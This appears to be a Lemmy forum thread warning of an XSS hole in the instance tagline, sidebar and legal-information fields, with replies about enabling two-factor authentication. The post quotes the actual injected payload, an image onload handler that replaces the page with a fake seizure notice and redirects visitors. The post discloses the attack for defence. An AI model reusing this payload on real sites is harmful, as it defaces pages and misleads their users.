(URGENT) Lemmy has an XSS vulnerability in the tagline, the sidebar and in the legal information field - sh.itjust.works
sh.itjust.works
# DO NOT OPEN THE “LEGAL” PAGE — lemmy.world is a victim of an XSS attack right now and the hacker simply injected a JavaScript redirection into the sidebar. It appears the Lemmy backend does not escape HTML in the main sidebar. Not sure if this is also true for community sidebars. [https://sh.itjust.works/pictrs/image/707c0f16-3d5c-4888-b865-34228d968ee6.png] EDIT: the exploit is also in the tagline that appears on top of the main feed for status updates, like the following one for SDF Chatter: [https://sh.itjust.works/pictrs/image/2dc8838f-4611-4b62-92d2-ab45d7b1c560.png] [https://sh.itjust.works/pictrs/image/9195ec9c-166e-4190-a991-26d218089602.png] EDIT 2: The legal information field also has that exploit, so that when you go to the “Legal” page it shows the HTML unescaped, but fortunately (for now) he’s using double-quotes. "legal_information":" ![\" onload=\"if(localStorage.getItem(`h`) != `true`){document.body.innerHTML = `\u003Ch1\u003ESite has been seized by Reddit for copyright infringment\u003C\u002Fh1\u003E`; setTimeout(() =\u003E {window.location.href = `https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F7aa772b7-9416-45d1-805b-36ec21be9f66.mp4`}, 10000)}\"](https:\u002F\u002Flemmy.world\u002Fpictrs\u002Fimage\u002F66ca36df-4ada-47b3-9169-01870d8fb0ac.png \"lw\")
  • Lodion 🇦🇺@aussie.zoneMEnglish
    0·
    1 year ago

    I encourage everyone, but especially mods to enable 2FA on their account. I’ll do up a post tonight with screenshots on exactly how to do this, I realise the lemmy process isn’t as smooth as it could be. Ideally it would present a QR code to scan with with your phone as most other sites do.

    • Aesecakes@lemmy.worldEnglish
      0·
      1 year ago

      I tried doing this but have lost access to my aussie.zone account (same user name). I checked the 2FA box but I couldn’t see the extra setup steps (I think I refreshed the page), so I unchecked the box and saved. I then changed my pw. Now it seems to accept new pw but am getting incorrect 2FA token error. What do I do?